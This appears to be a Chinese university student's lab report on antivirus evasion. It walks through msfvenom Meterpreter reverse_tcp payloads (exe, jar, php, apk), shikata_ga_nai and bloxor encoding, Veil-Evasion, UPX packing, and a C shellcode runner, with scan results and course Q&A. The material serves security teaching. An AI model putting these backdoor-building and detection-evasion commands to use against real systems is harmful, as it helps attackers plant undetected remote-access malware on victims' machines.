2019-2020-2 20175227张雪莹《网络对抗技术》

Exp3 免杀原理与实践

目录

  • 0. 基础知识
  • 1. 实验内容
    • 1.1 方法

      • 1.1.1 正确使用msf编码器
      • 1.1.2 msfvenom生成如jar之类的其他文件
      • 1.1.3 veil
      • 1.1.4 加壳工具
      • 1.1.5 使用C + shellcode编程
      • 1.1.6 使用其他课堂未介绍方法
      • 1.2 通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
    • 1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
  • 2. 老师提问
    • 2.1 杀软是如何检测出恶意代码的?
    • 2.2 免杀是做什么?
    • 2.3 免杀的基本方法有哪些?
    • 2.4 开启杀软能绝对防止电脑中恶意代码吗?
  • 3. 所遇到的问题及其解决方法
    • 3.1 问题1
    • 3.2 问题2
    • 3.3 问题3
  • 4. 实验感想
  • 5. 参考资料

0. 基础知识

0.1 免杀
  • 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
  • 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
  • 反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
0.2 恶意软件检测机制
  • 基于特征码的检测

    • 重要的就是,恶意软件的检测,并不是比对整个文件,
    • 而只能只其中一个或几个片断作为识别依据。
    • 这就是最简单的特征码,或“signature”。
  • 启发式恶意软件检测

    • 启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。

    优点
    可以检测0-day恶意软件
    具有一定通用性

    缺点
    实时监控系统行为,开销稍多
    没有基于特征码的精确度高

  • 基于行为的恶意软件检测

    • 从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
0.3 免杀技术(Evading AV)综述
  • 改变特征码

    • 加壳:压缩壳 加密壳
    • 有shellcode(像Meterpreter)
      • 用encode进行编码
      • 基于payload重新编译生成可执行文件
    • 有源代码
      • 用其他语言进行重写再编译(veil-evasion)
  • 改变行为
    • 通讯方式

      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码

返回目录

1. 实验内容

1.1 方法
1.1.1 正确使用msf编码器
  • 关于网站VirSCAN和Virus Total

    • 是非盈利性的免费为广大网友服务的网站,它通过多种不同厂家提供的最新版本的病毒检测引擎对所上传的可疑文件进行在线扫描,并可以立刻将检测结果显示出来。
  • 在kali终端中,输入msfvenom查看该命令的参数详情,选用msfvenom -l encoders查看编码器情况。

  • 将实验2生成的后门程序zxy_20175227_backdoor.exe分别上传至两个网站进行筛查,结果如下:

  • 可以看出,未经过编码的后门程序很容易就给杀软监测到了。

  • 下面用msf编码器对后门程序进行编码,并重新上传两个网站进行筛查:

    • 在kali中进入/usr/share/metasploit-framework/modules/payloads/stagers/windows文件夹,用ls查看Windows平台下的连接方式

  • 进入/usr/share/metasploit-framework/modules/encoders/x86文件夹,用ls查看x86的编码方式
  • 这里我们选用TCP连接方式和shikata_ga_nai 编码方式
  • 输入命令如下:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 52 -b '\x00' LHOST=<ip_of _linux> LPORT=5227 -f exe > zxyexptriBD.exe

-p 后面参数分别是:平台/软件/连接方式
-e 后面参数是:编码器类型
-b 后面参数是:减去16进制的0
-f 后面参数是:输出后门的格式(文件类型)
-i 后面参数是:编码的迭代次数

  • 分别在两个网站中扫描,结果如下:

  • 由此可见,多次编码对于免杀没啥效果

    • 有编码就有解码在exe文件中,杀软根据这部分就可以监测到异常情况
    • 如果使用默认参数或模板,也有一定的固定特征。
1.1.2 msfvenom生成如jar之类的其他文件
  • 生成Java后门程序

    • 在Kali中,使用msfvenom -p java/meterpreter/reverse_tcp lhost=<ip_of_linux> lport=5227 x> zxy175227_backdoor_java.jar,生成jar文件,上传至两个平台扫描,结果如下:

  • 可以看出,虽然都还是危险,但是检测成功几率有所下降。
  • 生成PHP后门程序
    • 使用msfvenom -p php/meterpreter/reverse_tcp lhost=<ip_of_linux> lport=5227 x> zxy175227_backdoor.php,生成php文件,上传至两个平台扫描,结果如下:

竟然!两个平台检测率都超低,甚至建议我谨慎使用!

  • 生成Android后门程序

    • 在Kali中,使用msfvenom -p android/meterpreter/reverse_tcp lhost=<ip_of_linux> lport=5227 x> zxy175227_backdoor.apk,生成apk文件(安装包形式),上传至两个平台扫描,结果如下:

其中VirScan的扫描结果由“危险”转为“警告”了,检测成功几率没有jar文件高。

1.1.3 veil
  • 安装过程,我是参考学姐的博文,在此不再赘述。
  • 安装成功的截图如下:

  • 输入use evasion进入Veil-Evasion
  • 输入use c/meterpreter/rev_tcp.py进入配置界面
  • 设置反弹连接IP,应当输入ip_of_linuxset LHOST 192.168.160.131
  • 设置端口:set LPORT 5227
  • 输入generate生成后门程序文件,而后输入其名字,我这里是:veilzxy
  • 生成成功截图如下:

  • 根据它的提示,进入/var/lib/veil/output/compiled/中即可找到所生成的后门程序:veilzxy.exe
  • 把它复制到主机,可见杀软报警:

  • 上传至两个平台进行扫描,结果如下:

之前看到学长学姐的还算挺成功的,现在的检出率虽然不高但没有php文件低,魔高一尺道高一丈。

1.1.4 加壳工具
  • 压缩壳

    • zxy175227.exe加壳,使用命令upx zxy175227.exe -o zxy175227.upxed.exe
    • 测试可用性

  • zxy175227.upxed.exe复制到主机,被杀软监测到,如下图:

  • 将该文件信任后,上传至两个平台进行扫描,结果如下:

其中有一个网站检出率由危险转警告了。

  • 对veil生成的后门veilzxy.exe加壳,拷贝到主机(我的杀软没有检测到威胁诶),上传到两个平台检测,结果如下:

  • 也还行吧,检出率不高,但还是危险。
1.1.5 使用C + shellcode编程
  • 使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.160.131 LPORT=5227 -f c生成C语言下的shellcode数组,如下图:

  • 创建zxy175227.c,代码内容如下:
unsigned char buf[] =
"shellcode数组内容"int main()
{int (*func)() = (int(*)())buf;func();
}
  • 使用i686-w64-mingw32-g++ zxy175227.c -o zxy175227.exe对c文件进行交叉编译,得到可以在Windows环境下的可执行程序zxy175227.exe
  • 测试可用性

  • 将其复制到主机,杀软将其查杀,如下图:

  • 更改杀软设置,成功复制该文件后,上传至两个平台扫描,结果如下图:

  • 扫描结果的检出率仍然很高,但不算是所有扫描中最高的。
1.1.6 使用其他课堂未介绍方法
  • 这里用一个Veil-Evasion的其他荷载生成后门方式

    • 启动veil,进入evasion,输入list查看可用的有效荷载,如下:

  • 此时我选择了第29个荷载,是Python下shellcode在AES下加密一种。
  • 输入option,查看有效荷载的选项,如下:

  • 从上面可以清楚看到29号payload有很多选项,在这个界面,我们可以对该 payload 进行一些基本的配置。例如:编译后生成文件的格式有效期,并是否进行加密做出配置。

  • 我这里只配置了用户名,然后就generate生成了.

    • 之后它会提示你输入想要选择的shellcode平台,选择2msfvenom,一会儿我们用msfconsole进行反弹连接.
    • 输入靶机OS/平台/连接方式,默认的,回车就行
    • 输入metasploit荷载,同上
    • 输入反弹连接IP(ip_of_linux)和端口号
    • 其他msfvenom选项默认,回车就行

  • 输入创建的shellocode的名字,这里是zxyaespy
  • 生成的文件类型选择2,生成一个exe文件

  • 可以看见exe文件已经生成,是setup.pyrunme.bat,在/var/lib/veil/output/source/
  • 同时新生成的 shellcode 的 rc 文件也被保存在了 veil-output 下的 handlers,打开查看后,是在msfconsole中需要输的指令,如图:

  • 测试可用性

  • 复制到主机的时候,杀软没有监测到,上传至两个平台扫描,结果如下:

两个文件在两个网站扫描都通过了,惊了

返回目录

1.2 通过组合应用各种技术实现恶意代码免杀
  • 采用C语言调用bloxor编码的shellcode+加壳方式免杀
  • 杀软:火绒安全5.0.40.7
  • 系统:win10
    • 使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/bloxor LHOST=192.168.160.131 LPORT=5227 -f c生成shellcode数组,
    • 把它复制到主机用codeblocks编译得到exe文件
    • 在Linux中用upx zxy_bloxor.exe -o zxy_bloxor_upxed.exe对上一步得到的exe进行加壳,得到的zxy_bloxor_upxed.exe复制到主机,还是被杀软检测到了.

返回目录

1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
  • 免杀方法:C语言调用bloxor编码的shellcode+加壳
  • 免杀环境:用父亲的笔记本,系统是Windows7,杀软是360卫士11.0.0.2001
    • 免杀失败

  • 反弹连接

返回目录

2. 老师提问

2.1 杀软是如何检测出恶意代码的?
  • 回答:根据特征码,或者是一些特征的片段,监控某个进程的行为,一旦发现和已记录的病毒特征相符合就杀掉,或者一旦有一些非法行为如获取shell就杀掉。
2.2 免杀是做什么?
  • 回答:对恶意软件做一些处理,使得恶意软件得特征淡化,从而不被杀软监测到。
2.3 免杀的基本方法有哪些?
  • 回答:

    • 改变特征码:加壳,用encoder进行编码,重新编译生成可执行文件,与其他可执行文件捆绑。
    • 改变行为:反弹连接,使用隧道技术,加密通讯,加入混淆功能的正常功能代码。
2.4 开启杀软能绝对防止电脑中恶意代码吗?
  • 回答:答案肯定是否定的。因为杀软在更新病毒库,恶意代码虽然可以不断用新的方式获得免杀,但是只要杀软记录到某个进程执行操作的异常情况,就可以立即记录相关信息,更新病毒库。

返回目录

3. 所遇到的问题及其解决方法

3.1 问题1
  • 描述:安装veil的时候出现错误:10 http://http.kali.org/kali kali-rolling/main amd64 libmono-system-configuration4.0-cil all 6.8.0.105+dfsg-2提示,导致安装失败

  • 解决方法:之前遇到过类似问题,一直觉得是镜像源有问题,在网上搜索到较全的源信息,更新了一下sources.list,然后重新安装veil后成功。

3.2 问题2
  • 描述:安装veil失败,提示没有检测到Wine环境,根据同学在云班课的提示进行重装后,执行veil生成后门的操作没有输出文件,如图:

  • 解决办法:一开始以为veil找不到wine的路径,添加了wine32的环境变量,但是不行。而后在网上看到一位网友提示,Wine Gecko下载之后需要安装,而我只进行了wget下载。所以将两个Gecko文件移到有wine文件的目录下(这里是/usr/lib/wine),然后分别输入命令
wine   msiexec /i  wine-mono-4.9.4.msi
wine   msiexec /i  wine_gecko-2.47-x86_64.msi
  • 之后正常进行veil生成后门的操作即可(如果操作仍然被拒绝,可以用sudo -s进入root权限使用veil)。

Tips:输入这两个命令时,它会提示你找不到注册表密钥错误,此时忽略它就行。

返回目录

4. 实验感想

  • 在这次实验中,安装veil的过程显得尤为艰辛,从老师第一次讲课开始一直试到昨天,一个多星期,醉了……下载的过程很慢,安装的过程也很慢,安装好了使用时提示出错,网上资料也很少,全靠对有效信息的个人解读+碰运气实践。但是在这一过程中,我对wine环境的配置过程,所依赖的其他部件有了一个认识,知道了他是使Linux兼容Windows下软件的环境,还挺有收获的。通过对免杀的学习,自己突然有了一点点成就感,自己可以像黑客一样骗过杀软;但另一方面,还是和上一次实验的体会一样,对后门还是有了惧怕之心,导致自己天天拿着手机都怀疑地球那边有个人通过我的手机前置偷看我……

返回目录

5.参考资料

  • https://blog.csdn.net/u014549283/article/details/81670622
  • https://www.cnblogs.com/jinanxiaolaohu/p/12191576.html
  • https://www.fujieace.com/kali-linux/veil-evasion.html

返回目录

2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践相关推荐

  1. 20145317 《网络对抗技术》免杀原理与实践

    20145317 <网络对抗技术>免杀原理与实践 免杀技术 技术分类 改变特征码 加壳:使用专业的加壳软件,掩盖特征码: 使用encode等进行编码,进行异或.+1.-1等类似操作改变特征 ...

  2. 20145307陈俊达《网络对抗》Exp3 免杀原理与实践

    20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...

  3. 2018-2019-2 网络对抗技术 20165239Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165239 Exp3 免杀原理与实践 win10 ip地址 192.168.18.1 fenix ip地址为 192.168.18.128 (1)杀软是如何 ...

  4. 20145308 《网络对抗》 MAL_免杀原理及实践 学习总结

    20145308 <网络对抗> MAL_免杀原理及实践 学习总结 实践内容 (1)理解免杀技术原理 (2)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免 ...

  5. 2019-2020-2 20175227张雪莹《网络对抗技术》 Exp2 后门原理与实践

    2019-2020-2 20175227张雪莹<网络对抗技术> Exp2 后门原理与实践 目录 0. 基础知识 1. 实验内容 1.0 常用后门工具 1.1 使用netcat获取主机操作S ...

  6. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

  7. 2018-2019-2 网络对抗技术 20165301 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165301 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  8. 2018-2019 20165208 网络对抗 Exp3 免杀原理与实践

    目录 2018-2019 20165208 网络对抗 Exp3 免杀原理与实践 实验内容 基础问题回答 实践过程记录 任务一:正确使用免杀工具或技巧 任务二:通过组合应用各种技术实现恶意代码免杀 任务 ...

  9. 2018-2019-2 网络对抗技术 20165301 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165301 Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任 ...

最新文章

  1. 和老同事的谈话:关于职业生涯以及MDA
  2. Jsp 无法解析${}
  3. [攻防世界 pwn]——string(内涵peak小知识)
  4. Confluence 6 手动备份站点
  5. jenkins自动化构建iOS应用配置过程中遇到的问题
  6. 【Python CheckiO 题解】Sort Array by Element Frequency
  7. 第九集 生死穿越风火山,感受尘世间轮回
  8. lamp中php怎么连接mysql_LAMP分离安装环境下,php无法连接mysql的问题
  9. 我的B端产品经理工作流
  10. [bzoj 1398] Vijos1382寻找主人 Necklace 解题报告(最小表示法)
  11. 大数据分析平台架构有哪些
  12. puppet详解(九)——puppet项目实战
  13. gcov 使用注意事项
  14. jsp大学计算机知识点,大学计算机规划教材:JSP大学实用教程
  15. 三星s7562刷android+2,三星s7562 4.1.2 rom刷机包(精简省电版)
  16. 实现原理 扫描枪_扫描枪原理
  17. 不是一个PDF文件或该文件已损坏
  18. python充电时刻
  19. Raspberry Pi 4b点亮树莓派桌面(官方烧录工具)
  20. 买加智能销售系统-以科技赋能企业销售

热门文章

  1. 沟通修炼 I型沟通->U型沟通
  2. 客户端命令行工具 - 接口调试神器 HTTPie
  3. C++学习笔记和面试备考(二, 转)
  4. n皇后 回溯法 c++
  5. Fe3O4@SiO2硅包铁核壳纳米颗粒|链霉亲和素修饰的四氧化三铁颗粒|正硅酸乙酯(TEOS)进修饰改性磁性Fe3O4纳米颗粒
  6. 合同索赔的内容和处理方法
  7. 如何对图片批量重命名?
  8. 华南农业大学c语言怎么考,华南农业大学期末考试试卷 C语言考试合集
  9. python 自制搜狗翻译工具
  10. 小梅哥AC620学习记录—UART_EEPROM_part2